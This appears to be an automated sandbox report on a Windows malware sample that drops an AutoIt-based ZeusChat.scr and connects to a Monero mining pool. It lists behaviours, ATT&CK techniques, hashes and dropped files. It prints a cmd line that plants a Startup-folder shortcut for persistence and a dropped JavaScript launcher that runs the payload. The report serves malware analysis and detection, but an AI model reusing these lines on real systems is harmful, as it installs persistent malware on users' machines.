Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process created: C:\Windows\System32\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\zeuschat.url" & echo url="c:\users\user\appdata\local\cybersphere dynamics\zeuschat.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\zeuschat.url" & exit	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA15DB9C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

17_2_00007FF7AA15DB9C

Source: Reynolds.com, 0000000A.00000003.2079865873.000001A69AFF5000.00000004.00000001.00020000.00000000.sdmp, Reynolds.com, 0000000A.00000000.2066014740.00007FF7AA1C8000.00000002.00000001.01000000.00000007.sdmp, ZeusChat.scr, 00000010.00000000.2205059109.00007FF7520D8000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: conhost.exe, 00000013.00000002.3264667857.000001CAE0321000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: Reynolds.com, conhost.exe, 00000013.00000002.3264667857.000001CAE0321000.00000002.00000001.00040000.00000000.sdmp, ZeusChat.scr	Binary or memory string: Shell_TrayWnd
Source: conhost.exe, 00000013.00000002.3264667857.000001CAE0321000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: conhost.exe, 00000013.00000002.3264667857.000001CAE0321000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA12FBB0 cpuid

17_2_00007FF7AA12FBB0

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_000002453CA2A660 GetModuleHandleW,GetProcAddress,GetSystemTimeAsFileTime,

17_2_000002453CA2A660

Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Code function: 17_2_00007FF7AA1324E0 _get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

17_2_00007FF7AA1324E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00406831 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406831

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	11 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Abuse Elevation Control Mechanism	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	11 Input Capture	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	1 DLL Side-Loading	2 Obfuscated Files or Information	Security Account Manager	17 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	412 Process Injection	1 DLL Side-Loading	NTDS	31 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	2 Registry Run Keys / Startup Folder	121 Masquerading	LSA Secrets	1 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Virtualization/Sandbox Evasion	Cached Domain Credentials	4 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	412 Process Injection	DCSync	11 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner
C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\Tech	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
xmr-eu2.nanopool.org	163.172.171.111	true	false		high
DqnJUgbSFuO.DqnJUgbSFuO	unknown	unknown	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.virustotal.com/en/search/?query=	explorer.exe, 00000012.00000002.3264299114.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.entrust.net03	file.exe	false	high
http://ocsp.entrust.net02	file.exe	false	high
http://ocsp.cloudflare.com/origin_ca0	explorer.exe, 00000012.00000003.2611556085.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354530325.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354580125.00000000013C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.3264505846.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2703373555.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.3265796424.0000000005480000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354530325.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.entrust.net/rpa03	file.exe	false	high
http://crl.cloudflare.com/origin_ca.crl	explorer.exe, 00000012.00000002.3265796424.0000000005480000.00000004.00000020.00020000.00000000.sdmp	false	high
http://aia.entrust.net/ts1-chain256.cer01	file.exe	false	high
http://crl.cloudflare.com/origin_ca.crl0	explorer.exe, 00000012.00000003.2611556085.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354530325.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354580125.00000000013C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.3264505846.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2703373555.00000000013BB000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2354530325.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	false	high
http://ocsp.cloudflare.com/origin_ca	explorer.exe, 00000012.00000003.2642127911.0000000001335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000002.3264409592.0000000001336000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.autoitscript.com/autoit3/X	Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, Reynolds.com, 0000000A.00000000.2066097134.00007FF7AA1E4000.00000002.00000001.01000000.00000007.sdmp, ZeusChat.scr, 00000010.00000000.2205239967.00007FF7520F4000.00000002.00000001.01000000.00000009.sdmp, Reynolds.com, 00000011.00000000.2255000492.00007FF7AA1E4000.00000002.00000001.01000000.00000007.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2411864117.0000000015614000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr, 00000014.00000000.2409093623.00007FF7520F4000.00000002.00000001.01000000.00000009.sdmp, ZeusChat.scr, 00000015.00000000.2415165241.00007FF7520F4000.00000002.00000001.01000000.00000009.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	false	high
http://nsis.sf.net/NSIS_ErrorError	file.exe	false	high
http://www.autoitscript.com/autoit3/	Reynolds.com, ZeusChat.scr	false	high
https://github.com/horsicq/DIE-engine	explorer.exe, 00000012.00000002.3264299114.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.entrust.net/ts1ca.crl0	file.exe	false	high
https://www.autoitscript.com/autoit3/	Reynolds.com, 0000000A.00000003.2079865873.000001A69B00A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000012.00000003.2313532248.00000000054F0000.00000004.00000020.00020000.00000000.sdmp, ZeusChat.scr.10.dr, Reynolds.com.2.dr, Tech.0.dr	false	high
http://crl.entrust.net/2048ca.crl0	file.exe	false	high
https://www.entrust.net/rpa0	file.exe	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
163.172.171.111	xmr-eu2.nanopool.org	United Kingdom		12876	OnlineSASFR	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561926
Start date and time:	2024-11-24 20:24:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.rans.expl.evad.mine.winEXE@38/58@3/1
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 53% Number of executed functions: 29 Number of non-executed functions: 340
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target ZeusChat.scr, PID 4444 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:24:57	API Interceptor	1x Sleep call for process: file.exe modified
14:26:37	API Interceptor	2151x Sleep call for process: explorer.exe modified
20:25:06	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
163.172.171.111	E5r67vtBtc6.exe	Get hash	malicious	Xmrig	Browse
	Miner-XMR2.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, RedLine, SmokeLoader, Stealc, Xmrig	Browse
	zg9ZjvXyS0.exe	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
xmr-eu2.nanopool.org	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	51.15.89.13
	file.exe	Get hash	malicious	Xmrig	Browse	51.195.43.17
	file.exe	Get hash	malicious	Xmrig	Browse	51.15.61.114
	ICBM.exe	Get hash	malicious	Xmrig	Browse	51.15.61.114
	ICBM.exe	Get hash	malicious	Xmrig	Browse	51.68.137.186
	ICBM.exe	Get hash	malicious	Xmrig	Browse	51.68.137.186
	ICBM.exe	Get hash	malicious	Xmrig	Browse	51.195.138.197
	ICBM.exe	Get hash	malicious	Xmrig	Browse	51.195.43.17
	ICBM.exe	Get hash	malicious	Xmrig	Browse	51.210.150.92
	file.exe	Get hash	malicious	Xmrig	Browse	163.172.171.111

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OnlineSASFR	https://og.oomaal.in/	Get hash	malicious	Unknown	Browse	163.172.253.2
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	151.115.247.92
	Lreticupdwy.exe	Get hash	malicious	Unknown	Browse	62.210.129.110
	Lreticupdwy.exe	Get hash	malicious	Unknown	Browse	62.210.129.110
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	212.129.25.56
	XzCRLowRXn.exe	Get hash	malicious	Unknown	Browse	51.158.201.235
	Unit 2_week 4 2024.pptx	Get hash	malicious	HTMLPhisher	Browse	212.129.3.113
	TT copy.exe	Get hash	malicious	FormBook	Browse	195.154.200.15
	amen.x86.elf	Get hash	malicious	Mirai	Browse	151.115.247.87
	mNtu4X8ZyE.exe	Get hash	malicious	Emotet	Browse	51.15.7.145

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Win32.Malware-gen.8775.19492.exe	Get hash	malicious	Unknown	Browse
	O8scEm3rJN.exe	Get hash	malicious	Unknown	Browse
	KeyFormed.exe	Get hash	malicious	Unknown	Browse
	wWk9NkXYcL.exe	Get hash	malicious	Unknown	Browse
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	7CTH165fQv.exe	Get hash	malicious	Latrodectus	Browse
	Fj8bSgJTob.exe	Get hash	malicious	Unknown	Browse
	Fj8bSgJTob.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Win32.Malware-gen.8775.19492.exe	Get hash	malicious	Unknown	Browse
	O8scEm3rJN.exe	Get hash	malicious	Unknown	Browse
	KeyFormed.exe	Get hash	malicious	Unknown	Browse
	wWk9NkXYcL.exe	Get hash	malicious	Unknown	Browse
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	7CTH165fQv.exe	Get hash	malicious	Latrodectus	Browse
	Fj8bSgJTob.exe	Get hash	malicious	Unknown	Browse
	Fj8bSgJTob.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\CyberSphere Dynamics\M

Process:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
File Type:	data
Category:	dropped
Size (bytes):	3677337
Entropy (8bit):	7.999944173773252
Encrypted:	true
SSDEEP:	98304:Sd+C1vXUPV85t2oyHCO+0WKt1M3ymwbvVraEB0jPnyk5pKgVKCn:Sd+6vXUKyoU+0WKt1MCmAraEsf95MYn
MD5:	C5718114F703C816800F6BBFDA267EF6
SHA1:	2608C20BA78181641E8A396295DD6F920546DFC6
SHA-256:	F7896C752B429245764E615DEF6319D3790688F7694A493304B4A40599F9F335
SHA-512:	E38E5A3949EF87294ECD705EF27A727B1A139F89F0D5EB4184AB4EB4009CFC58213C746176139220DB1F0AF756316912654AD7A037225FF3329A044B32B80B8B
Malicious:	true
Preview:	.I.h....N.N..04vT..6......@..W..o...5xRz.)...I..i...WO...f..?.....y....t.f.:E^..r..x.(...q.;.n...A-..6.....~ ..w/...v.P..O...g_.Sx.E.."\..6h.~....~..V"...Z....`.+....e...M.E.P....ck!.T...AM....R..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....G.L.'.F...h..............>.......>......kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..\|.&..,P..Myn.2..t.W....^.8.Z!...W[.>..8D...>...i..m......_.}8.5...x..2).U.j....R>..#.~.\.......$h_.8..D..X.U..~X...)<.G...]...P9(..f/.._..c.Y.^...g[.T.bg.D....w$ .x9...#.K..{).....A...V..!.+.f./J>I5.._yN`.7l..M.....a2.....\|\|>...z.QRG........K.G..;.rda(..{.l5<...d...Q.....x.=.4..W?_8.<Oj<..;...hy.C.."x....x....g..0.Q..i. /.j...v8...iH.>...

C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.js

Process:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.71590743776702
Encrypted:	false
SSDEEP:	3:RiMIpGXIdPHo55wWAX+aJp6/h4EkD5mcVI9zRLBpHFZo5uWAX+aJp6/h4EkD5mcf:RiJBJHonwWDaJ0/hJkDR6VRLvHFywWDS
MD5:	BF7E76FB66EBF1EB9824F7FF48B31194
SHA1:	C0D778C07BFCD6474209761EC7A0818B72AD6E9D
SHA-256:	AE70150097558C8B2178AF62EBA146A0A66CAA99EE1C6E443A7FCC094536CA60
SHA-512:	3905C7D7D05B8D11F8DD7688C5912E3D60DD4BE617A199582A7503308F1299300AB464EAF1D67BDE3105492F713ECE73176CC5764067656125D629A52B7F609A
Malicious:	true
Preview:	new ActiveXObject("Wscript.Shell").Exec("\"C:\\Users\\user\\AppData\\Local\\CyberSphere Dynamics\\ZeusChat.scr\" \"C:\\Users\\user\\AppData\\Local\\CyberSphere Dynamics\\M\"")

C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr

Process:	C:\Users\user\AppData\Local\Temp\29442\Reynolds.com
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1065128
Entropy (8bit):	6.43820773264071
Encrypted:	false
SSDEEP:	24576:SAwciuvaj8l4LEWumcKYB5Wek2vY+BYssmNolbmmPmJ4Ve+aaWBS:SALTBaLETmcKYB5WH2AwjsLbmmPmJ4Vt
MD5:	C63860691927D62432750013B5A20F5F
SHA1:	03678170AADF6BAB2AC2B742F5EA2FD1B11FECA3
SHA-256:	69D2F1718EA284829DDF8C1A0B39742AE59F2F21F152A664BAA01940EF43E353
SHA-512:	3357CB6468C15A10D5E3F1912349D7AF180F7BD4C83D7B0FD1A719A0422E90D52BE34D9583C99ABECCDB5337595B292A2AA025727895565F3A6432CAB46148DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.8775.19492.exe, Detection: malicious, Browse Filename: O8scEm3rJN.exe, Detection: malicious, Browse Filename: KeyFormed.exe, Detection: malicious, Browse Filename: wWk9NkXYcL.exe, Detection: malicious, Browse Filename: eSLlhErJ0q.exe, Detection: malicious, Browse Filename: 7CTH165fQv.exe, Detection: malicious, Browse Filename: Fj8bSgJTob.exe, Detection: malicious, Browse Filename: Fj8bSgJTob.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........1.q.P.".P.".P."y..".P."y.."QP."y..".P."S.1".P.".8.#.P.".8.#.P.".8.#.P.".(u".P.".(q".P.".(e".P.".P.".R."^9.#.P."^9.#.P."^9.".P.".Pa".P."^9.#.P."Rich.P."........PE..d......^.........."......:...(.......R.........@.........................................`...@...............@..............................[..\|.......h....@..To...$..........t....p......................X...(...0p...............P..8............................text....9.......:.................. ..`.rdata...A...P...B...>..............@..@.data...P........P..................@....pdata..To...@...p..................@..@.rsrc...h............@..............@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\29442\Reynolds.com

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1065128
Entropy (8bit):	6.43820773264071
Encrypted:	false
SSDEEP:	24576:SAwciuvaj8l4LEWumcKYB5Wek2vY+BYssmNolbmmPmJ4Ve+aaWBS:SALTBaLETmcKYB5WH2AwjsLbmmPmJ4Vt
MD5:	C63860691927D62432750013B5A20F5F
SHA1:	03678170AADF6BAB2AC2B742F5EA2FD1B11FECA3
SHA-256:	69D2F1718EA284829DDF8C1A0B39742AE59F2F21F152A664BAA01940EF43E353
SHA-512:	3357CB6468C15A10D5E3F1912349D7AF180F7BD4C83D7B0FD1A719A0422E90D52BE34D9583C99ABECCDB5337595B292A2AA025727895565F3A6432CAB46148DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.Malware-gen.8775.19492.exe, Detection: malicious, Browse Filename: O8scEm3rJN.exe, Detection: malicious, Browse Filename: KeyFormed.exe, Detection: malicious, Browse Filename: wWk9NkXYcL.exe, Detection: malicious, Browse Filename: eSLlhErJ0q.exe, Detection: malicious, Browse Filename: 7CTH165fQv.exe, Detection: malicious, Browse Filename: Fj8bSgJTob.exe, Detection: malicious, Browse Filename: Fj8bSgJTob.exe, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........1.q.P.".P.".P."y..".P."y.."QP."y..".P."S.1".P.".8.#.P.".8.#.P.".8.#.P.".(u".P.".(q".P.".(e".P.".P.".R."^9.#.P."^9.#.P."^9.".P.".Pa".P."^9.#.P."Rich.P."........PE..d......^.........."......:...(.......R.........@.........................................`...@...............@..............................[..\|.......h....@..To...$..........t....p......................X...(...0p...............P..8............................text....9.......:.................. ..`.rdata...A...P...B...>..............@..@.data...P........P..................@....pdata..To...@...p..................@..@.rsrc...h............@..............@..@.reloc..t...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\29442\l

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	3677337
Entropy (8bit):	7.999944173773252
Encrypted:	true
SSDEEP:	98304:Sd+C1vXUPV85t2oyHCO+0WKt1M3ymwbvVraEB0jPnyk5pKgVKCn:Sd+6vXUKyoU+0WKt1MCmAraEsf95MYn
MD5:	C5718114F703C816800F6BBFDA267EF6
SHA1:	2608C20BA78181641E8A396295DD6F920546DFC6
SHA-256:	F7896C752B429245764E615DEF6319D3790688F7694A493304B4A40599F9F335
SHA-512:	E38E5A3949EF87294ECD705EF27A727B1A139F89F0D5EB4184AB4EB4009CFC58213C746176139220DB1F0AF756316912654AD7A037225FF3329A044B32B80B8B
Malicious:	true
Preview:	.I.h....N.N..04vT..6......@..W..o...5xRz.)...I..i...WO...f..?.....y....t.f.:E^..r..x.(...q.;.n...A-..6.....~ ..w/...v.P..O...g_.Sx.E.."\..6h.~....~..V"...Z....`.+....e...M.E.P....ck!.T...AM....R..HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....R....G.L.'.F...h..............>.......>......kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r..\|.&..,P..Myn.2..t.W....^.8.Z!...W[.>..8D...>...i..m......_.}8.5...x..2).U.j....R>..#.~.\.......$h_.8..D..X.U..~X...)<.G...]...P9(..f/.._..c.Y.^...g[.T.bg.D....w$ .x9...#.K..{).....A...V..!.+.f./J>I5.._yN`.7l..M.....a2.....\|\|>...z.QRG........K.G..;.rda(..{.l5<...d...Q.....x.=.4..W?_8.<Oj<..;...hy.C.."x....x....g..0.Q..i. /.j...v8...iH.>...

C:\Users\user\AppData\Local\Temp\Actual

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	64512
Entropy (8bit):	7.997410116453677
Encrypted:	true
SSDEEP:	768:p2pG4gYr39J5QO8CifS5JEvkX0rdE0XxYav4npFMxs6RVmyqSpLGeNzqDdr2UosR:CG4gYzCO8CzuvnLxZ/f32drtOaQVTQ
MD5:	88A17BE0C7D698A8222DA655CEC1985F
SHA1:	2517799B7A0881C360EF0BAE427508FDEA450444
SHA-256:	2F57B20C75DA4681D05B98A6B3B20276395FB549BC035AEC4DAE6D3671231E73
SHA-512:	C96F85878FFF7328134F85EE1C4849D82484C960185CE04FAFB89894E51CFDF2B7AF81A72AFED2D2A1E604351EA3D0F8BE8852FF5FC221306718D167D48CB67B
Malicious:	true
Preview:	.Q.=..R...a]....-........)!.Lx1..Y..ZL.%.(q>.c.._$.{.9.;...k......e.al.2.&.2..(.oRI..{...{.w.......U..I....v2o.......h..!s6.sw...9...a.5i?gM>..../h..4..A.:.:.@......f.(...ps< F.T.9b%M.6..F4.6?....~..tV.U.=J..C.......U.z9,..=...<t.p.....v.".J..t_-...N....d.....0,...COG.,.......ni<[..#.@...a.;r.p..l4.k.....FN..J.u.P....zqJ..q...U........].ym."W....0.d\..?g.;....@75.....Y...!.V2y.Y.W...G.]...G..M..g.j.t2...-.MO.&..m.t...!h:.8..s1...?z....0......W._..l.p...-.{.iw....K..b2..v.3vw.R.....H.w....l.Q.5....h\|N.#wW.\|...%ho.....Z.6.R...w2~.asiLNm.7.....Yy.8...P.=B.P=b)<.!...Q...<..`P.E(.J....}UTo....P..PG.7..g.......YF......f...H.7A.q..:..?O...D...2..`.\|.'G....aH.M....X.....C}..:..^...$...A c~.np2n......w....=.c.!.2..).?..`..=s..I.H.0#.).W....l......8..K-..'D....R...&+.:.z....$.@..e...t.>..B.CM.}R....[..L=M]%-.3.?........e.._vkEz.M.:u.....Ap..a.B..\|M..]I{lx...n.G...:....Kp...0........:...Vo..........*'..s...m]".....N.N)..f.ve..j87Q9Y.,..i.Q

C:\Users\user\AppData\Local\Temp\Ai

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	73728
Entropy (8bit):	7.9976461887667
Encrypted:	true
SSDEEP:	1536:OqKZtFBQ4yLVvzRHvrBSuKeBkzzmgfgfJH1XHnjdua:Oq23BQLfP9SuKlRfERx
MD5:	1C5BCCD3C6CEBB00CE3E1563C51BBEA5
SHA1:	7109CE0ADB4C3338A0A8AD12D29D94F885D80C8C
SHA-256:	9B5547FE418E6B43A52E59E1D64964D1301168283556F2FF30BBB6113BED0554
SHA-512:	6AA079DFFB9199FA596EB83CBE6F80BEA8EC95C069CEE9D14C44877E5E4E3A0E8C39F94FC832AAE5C3B2AD4966BE6FA49DD2D9B51ABB4FC1266E776B8218D66F
Malicious:	true
Preview:	.....\|{.l;.....p..0.....n...F..?wHCm\.9....q..2..@/;......o=..y..8...@W......z..q..l.o...f.:../.....5...a.R..w..V..7..?m.E.......hz.dq..^.j.S....}..E.&...Z......g^..S..^....o>.....m..So...e:..R.j.7.z.`W..5..U.........f6....LUs..!.-..k..H...0 ..C...9.<.~......c0..c.t`.\..xr...G,...A..+.....n\...A....5.O.FI.....a..zP....0..7t.+...q.r.R...zr..;"\|.....R........U[..\t{H......J../je...u.]..(Rn....?...).......Q......s..J.#..Fx..p.KI.}.Txy..5..v.x.vZ....F.M.8.....y.....O]...).Gv.....z.,.[...M..\|.pl......P6U..W.....5y...?.KA....F...Tt.<..0](!..B..\...yL=.aR..`..(#....h=..3P[.pTw...[.].,.$..T...u_.?....f.^..B..w`..-@+5...T......~..0.O.I./).NZ.d..gP...wFy.1a.B..K.+.."=..7B.{.GPL....$_...d..E......<..y....4.....~Y...@. ..8W..;<y.4....u...Gs...d.....~..5..P.:.UY.Z..H.s...P...N.....\|.f.......P.....W.R..S&.D.*..\..7Y.p...P..X.\.f)#..N.......'.)...E..C..Z_...........q...S..1[%....ac..W.z./...b.....E.<d7...G.t.%...Tk.;E,.I.......eJi/.......m.

C:\Users\user\AppData\Local\Temp\Americans

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.9976001147327125
Encrypted:	true
SSDEEP:	1536:7P1bpShADfQc/58M2DMF1Z3XqKx4O9BUrC+JpsADRfRgfG0k/jFdTG5:7P1whADfQ0P/fhXqmb9m2eAIT6
MD5:	344621DEA0EE974945ADCEE99B5BD517
